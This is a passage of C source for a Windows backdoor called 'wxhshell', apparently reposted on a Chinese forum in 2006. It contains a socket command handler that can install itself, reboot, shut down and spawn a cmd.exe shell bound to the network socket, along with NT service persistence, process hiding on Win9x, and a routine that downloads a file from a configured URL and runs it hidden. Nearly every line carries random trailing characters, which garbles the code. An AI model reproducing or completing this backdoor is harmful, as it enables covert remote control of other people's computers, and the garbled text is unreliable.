  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pD9c%P  
  } 1vr/|RWW  
  else { f\JyN@w+  
? "gy`oCv  
    switch(cmd[0]) { 3 ren1   
  g|oPRC$I'  
  // 帮助 C%&7,F7  
  case '?': { okW3V}/x/z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); , /pE*Yk  
    break; RDbA"e5x  
  } 4#T'Fy].  
  // 安装 )8_0d)  
  case 'i': { F&\o1g-L  
    if(Install()) a ]*^uEs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #r C% \  
    else BsAglem  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t t=$:}A  
    break; J';tpr  
    } X$aMf &x  
  // 卸载 ;Mc}If*  
  case 'r': { Mm5l>D'c  
    if(Uninstall()) mnePm{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AxeWj%w@  
    else ] 3v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _MR2,mC  
    break; ]Vubz54  
    } TF'ssD  
  // 显示 wxhshell 所在路径 3ySnAAG  
  case 'p': { $KiA~l  
    char svExeFile[MAX_PATH]; 9H<:\-:  
    strcpy(svExeFile,"\n\r"); t :_7 O7  
      strcat(svExeFile,ExeFile); 'K`)q6m  
        send(wsh,svExeFile,strlen(svExeFile),0); myYe~f4=HQ  
    break; U> >J_2  
    } a8N!jQc_m  
  // 重启 _CgD7d  
  case 'b': { UY==1\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T]:5y_4?[  
    if(Boot(REBOOT)) i55']7+0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S SzOz-&GA  
    else { \nLO.,  
    closesocket(wsh); []@Mk  
    ExitThread(0); -~5yl}  
    } 5W'T7asOh  
    break; 0ul2rZc  
    } k~?@~xm,R  
  // 关机 Un<~P@T%  
  case 'd': { FnCHbPlb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !:>y.^O  
    if(Boot(SHUTDOWN)) 4-TM3Cw`d&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <"t >!I  
    else { q3;HfZ  
    closesocket(wsh); "];19]x6q  
    ExitThread(0); \Wo,^qR  
    } j3FDGDrg  
    break; +>s[w{Svy  
    } 2nw P-i  
  // 获取shell [1E u6X6  
  case 's': { [1s B  
    CmdShell(wsh); O*30|[  
    closesocket(wsh); \}cEHLq  
    ExitThread(0); ,fL*yn  
    break; x1TB (^aX  
  }  _G`kj{J  
  // 退出 kQYX[e7n  
  case 'x': { 2r1., 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xY@V.  
    CloseIt(wsh); vmL0H)q  
    break; l2$6ojpo  
    } :sJVklK  
  // 离开 Xbfn@7m  
  case 'q': { z0c_&@uj*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }VyD X14j  
    closesocket(wsh); 0kmZO"K#e  
    WSACleanup(); `|I h"EZ  
    exit(1); )Wgh5C`  
    break; X+iUT  
        } V,lz}&3L  
  } uP<tP:  
  } *;Sj&O  
Yf<6[(6 O  
  // 提示信息 W* N^Gp@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iFpJ /L  
} U#-89.x  
  } E7ixl~  
@=:( b"Sg  
  return; Eufw1vDa  
} r6JdF!\d  
'f]\@&Np  
// shell模块句柄 h9$Ov`N(%  
int CmdShell(SOCKET sock) bZz ,'  
{ fn]f$n*`  
STARTUPINFO si; qE!.C}L +  
ZeroMemory(&si,sizeof(si)); \$W>@w0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xXQDHc -Ba  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .gzNdSE  
PROCESS_INFORMATION ProcessInfo; |]*]k`o<)  
char cmdline[]="cmd"; E:!?A@Fy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z2!O)8  
  return 0; ,p {|f}0  
} 3%p^>D\  
*`7cvt5]IM  
// 自身启动模式 #+>8gq^5  
int StartFromService(void) 1U^;fqvja  
{ B=8],_  
typedef struct H}Z\r2  
{ XmJu{RbS  
  DWORD ExitStatus; L/t'|<m  
  DWORD PebBaseAddress; R9xhO!   
  DWORD AffinityMask; !#xk?LyB  
  DWORD BasePriority; [Wf%iwB  
  ULONG UniqueProcessId; 8A}cxk  
  ULONG InheritedFromUniqueProcessId; )\ow/XPE  
}   PROCESS_BASIC_INFORMATION; OTwIR<_B+  
SoC3)iqv/  
PROCNTQSIP NtQueryInformationProcess; DPqk~KCM  
rlV:% k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HtFc+%=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^/b3_aM5d  
Jga;nrU  
  HANDLE             hProcess; 0&wbGbg(W  
  PROCESS_BASIC_INFORMATION pbi; a/p} ?!\  
QmxI ;l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =cz^g^7  
  if(NULL == hInst ) return 0; W w\M3Q`h  
fXD9w1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IqD;*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xw2dNJL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e,V @t%  
9eR4?^(3!  
  if (!NtQueryInformationProcess) return 0; X3mHg5zt  
xfegi$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y-YlQ ^  
  if(!hProcess) return 0; -?%81 z.Qq  
|k,M$@5s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f N_8HP6&  
2;2FyKF(  
  CloseHandle(hProcess); !pT i.3  
XSOSy2:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F .h A.E  
if(hProcess==NULL) return 0; + PAb+E|,  
C"7-lz  
HMODULE hMod; +YD_ L  
char procName[255]; % H/V iC  
unsigned long cbNeeded;  2-$O$&s.  
ka=EOiX.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Ba*"/U]t~  
O n/q&h5  
  CloseHandle(hProcess); x u<oQBt  
(baBi9<P=  
if(strstr(procName,"services")) return 1; // 以服务启动 [%LIW%t|  
X:2)C-l?  
  return 0; // 注册表启动 M4}b l h#  
} BG/Q7s-?K  
y?P4EVknM3  
// 主模块 &RB{0Qhx  
int StartWxhshell(LPSTR lpCmdLine) _jWGwO  
{ *N65B#  
  SOCKET wsl; 7 MZ(tOR  
BOOL val=TRUE; .o(S60iH!(  
  int port=0; ioT+,li  
  struct sockaddr_in door; T/$hN hQK  
L)"E_  
  if(wscfg.ws_autoins) Install(); wNm1H[{  
XMlcY;W  
port=atoi(lpCmdLine); S; Fj9\2)I  
?s]+2Tq  
if(port<=0) port=wscfg.ws_port; Lj2Au_5  
l1UN.l'p  
  WSADATA data; |C`.m |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]k)h<)nY  
{Rtl<W0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8~|tl,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #`qP7E w  
  door.sin_family = AF_INET; 6 ~+/cY-V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M0K+Vz=  
  door.sin_port = htons(port); \O=t5yS  
W.m2`] &  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i%# <Hi7  
closesocket(wsl); x.%x|6G*  
return 1; ^oXLk&d  
} ^3lEfI<pBm  
'Ivr =-  
  if(listen(wsl,2) == INVALID_SOCKET) { mw fl x8  
closesocket(wsl); wvz_)b N~A  
return 1; r0:I  
} X;QhK] Z  
  Wxhshell(wsl); &Xp<%[:  
  WSACleanup(); ICm/9Onh&  
?bw1zYP  
return 0; Z"5ewU<?  
\[Q*d  
} hZ~ \Z S7  
Af XlV-v  
// 以NT服务方式启动 ^nN@@ \-5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fBZR  
{ aP`V  
DWORD   status = 0; BkJNu_{m?  
  DWORD   specificError = 0xfffffff; eG08Xt |lc  
vJfj1 f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wJ>2}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,_!MI+o0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; by@}T@^\  
  serviceStatus.dwWin32ExitCode     = 0; e!p?~70  
  serviceStatus.dwServiceSpecificExitCode = 0; v6*8CQ+  
  serviceStatus.dwCheckPoint       = 0; s*UO!bHa  
  serviceStatus.dwWaitHint       = 0; KpSho<  
lAA s/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , Vr'F  
  if (hServiceStatusHandle==0) return; Hi Pd|D  
ctT6va  
status = GetLastError(); \Ss6F]K]  
  if (status!=NO_ERROR) '/~j!H4q9  
{ ^gd[UC-"w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WN9K*Tt~o&  
    serviceStatus.dwCheckPoint       = 0; ~-zch=+u  
    serviceStatus.dwWaitHint       = 0; ?n V& :~eY  
    serviceStatus.dwWin32ExitCode     = status; g4NbzU[I  
    serviceStatus.dwServiceSpecificExitCode = specificError; QTbv3#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /qObXI  
    return; h+d3JM  
  } az;o7[rI^  
&M2SqeR62;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W=ar&O~}n  
  serviceStatus.dwCheckPoint       = 0; ~E*`+kD  
  serviceStatus.dwWaitHint       = 0; !/wR[`s9w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J)"g`)\2+  
} =6^phZ(  
61=D&lb  
// 处理NT服务事件,比如:启动、停止 :Miri_l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a@}A;y'd  
{ UCL aCt -  
switch(fdwControl) 9Bw.Ih[Z  
{ C3z#A3&J  
case SERVICE_CONTROL_STOP: t-3y`31i.  
  serviceStatus.dwWin32ExitCode = 0; 8oVQ:' 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TaTs-]4  
  serviceStatus.dwCheckPoint   = 0; 5V"g,]'Nd  
  serviceStatus.dwWaitHint     = 0; D0HLU ~o  
  { ZA Xw=O5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M73d^z  
  } uIb,n5  
  return; \g<=n&S?  
case SERVICE_CONTROL_PAUSE: )%D>U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xIb^x=|h  
  break; M->$ 'Zgh`  
case SERVICE_CONTROL_CONTINUE: P_8z'pYd>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !i77v, (#|  
  break; iw)^; 8q  
case SERVICE_CONTROL_INTERROGATE: Vi o ~2  
  break; *eb2()B%  
}; sfw lv^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L] ce13K  
} LCf)b>C*  
oGXndfd"  
// 标准应用程序主函数 ?OFl9%\ V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vk] vtjf&%  
{ \n`)>-  
bJ#]Xm(]D  
// 获取操作系统版本 cTQ]0<9:e  
OsIsNt=GetOsVer(); S#wy+*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l6O8:XI  
z6+D=<  
  // 从命令行安装 4IH,:w=ofN  
  if(strpbrk(lpCmdLine,"iI")) Install(); H:jx_  
@fz!]/  
  // 下载执行文件 DLP G  
if(wscfg.ws_downexe) { 4T<4Rb[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gvLzE&V}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3j2#'Jf|:  
} okv`+VeA  
r3_O?b  
if(!OsIsNt) { -xk.wWpV  
// 如果时win9x,隐藏进程并且设置为注册表启动 -4IHs=`;I  
HideProc(); g{d(4=FM  
StartWxhshell(lpCmdLine); #lld*I"d  
} $wBF'|eU  
else Jv+N/+M47  
  if(StartFromService()) ].e4a;pt  
  // 以服务方式启动 xS>d$)rIj  
  StartServiceCtrlDispatcher(DispatchTable); ZJ Ke}F`l  
else |2t1m 6\j  
  // 普通方式启动 >&g^ `  
  StartWxhshell(lpCmdLine); , A@uSfC(  
2b i:Q9  
return 0; 4 [K"e{W3  
}
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只看该作者 1 发表于: 2006-10-10
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